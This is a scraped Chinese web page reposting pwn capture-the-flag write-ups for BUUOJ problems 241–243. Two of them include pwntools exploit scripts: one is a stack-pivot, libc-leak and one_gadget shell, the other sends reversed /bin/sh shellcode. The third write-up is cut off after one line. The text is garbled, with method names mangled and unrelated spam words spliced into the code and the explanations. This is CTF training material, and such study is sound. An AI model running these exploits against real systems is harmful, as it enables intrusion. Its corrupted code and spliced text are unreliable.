buuojPwnwriteup241-245

更新时间:2023-07-06 06:35:29 阅读: 评论:0

buuojPwnwriteup241-245
241 [GKCTF 2021]checkin
逻辑也⽐较简单。⾸先输⼊密码的时候可以有个溢出,但是只能溢出⼋个字节,就只能是做⼀个栈迁移。
然后有个检查,⾸先你的名字需要是admin,然后你的密码要⾛⼀个函数。
我们去看看那个函数。
好像很复杂。
0x4007f6那个函数点开。
瞬间明⽩是⼀个md5.
所以逻辑很简单,我们输⼊的密码通过md5加密之后要跟v4吻合。
我们发现密码admin的md5加密结果是那个。
所以就直接栈迁移就⾏。
栈迁移呢需要我们在bss上写东西,输⼊⽤户名可以做到,然后呢还需要我们先泄露⼀次libc,再返回回来再次做⼀次栈迁移,这个怎么做到?
因为我们只能在bss上写三个函数地址,我们三个只能刚刚泄露地址,所以要动点脑筋。
以往我们在⽤⼀些puts函数的时候,都是⽤的库函数,然后返回的时候去找返回值,那么我们这⾥长度不够,就⽤点其它的⼩技巧。
snog
指出我们⽤程序⾥⾯的⼀⼩段程序,puts完之后,直接进⼊主函数,那么我们的要求就达到了。
exp
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
r = remote("node4.buuoj","26331")zod
#r = process("./241")
elf = ELF("./241")
libc = ELF("./libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi =0x401ab3
puts =0x4018B5
puts_got =0x602028
name_addr =0x602400
payload ="admin".ljust(8,'\x00')
payload += p64(pop_rdi)+ p64(puts_got)+ p64(puts)
r.ndafter(">", payload)
#gdb.attach(r)
payload ="admin\x00\x00\x00"+ p64(0)*3+ p64(name_addr)
r.ndafter(">", payload)
libc_ba = vuntil('\x7f')[-6:]+'\x00\x00')- libc.sym['puts']
print hex(libc_ba)
payload ='admin\x00\x00\x00'*3+p64(0x4527a+libc_ba)mustnot
r.ndafter(">", payload)
rrcoin
#gdb.attach(r)
payload ='admin\x00\x00\x00'*4+ p64(0x602410)
r.ndafter(">", payload)
#payload 这⾥反复的去写admin是因为在调⽤过程中经常应为⼀些原因导致栈的数据被覆盖r.interactive()
242 [BSidesCF 2019]RunitPlusPlus
云画的月光小说txt
逻辑更简单,就是开了个空间,然后让你写⼊shellcode。
这个shellcode呢会进⾏⼀顿操作,你倒着操作回来就⾏了。
exp
from pwn import*
context(log_level='debug')
r=remote("node4.buuoj",29401)
r.nd(asm(shellcraft.sh())[::-1])清华姚班是什么>六级作文预测
r.interactive()
tpoint
243 ciscn_2019_qual_virtualewt
然后可以看得出来,有三个是跟指令有关系的,⼀个是指令。

本文发布于:2023-07-06 06:35:29,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/78/1081262.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:只能   时候   密码   地址   溢出   上写   迁移
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图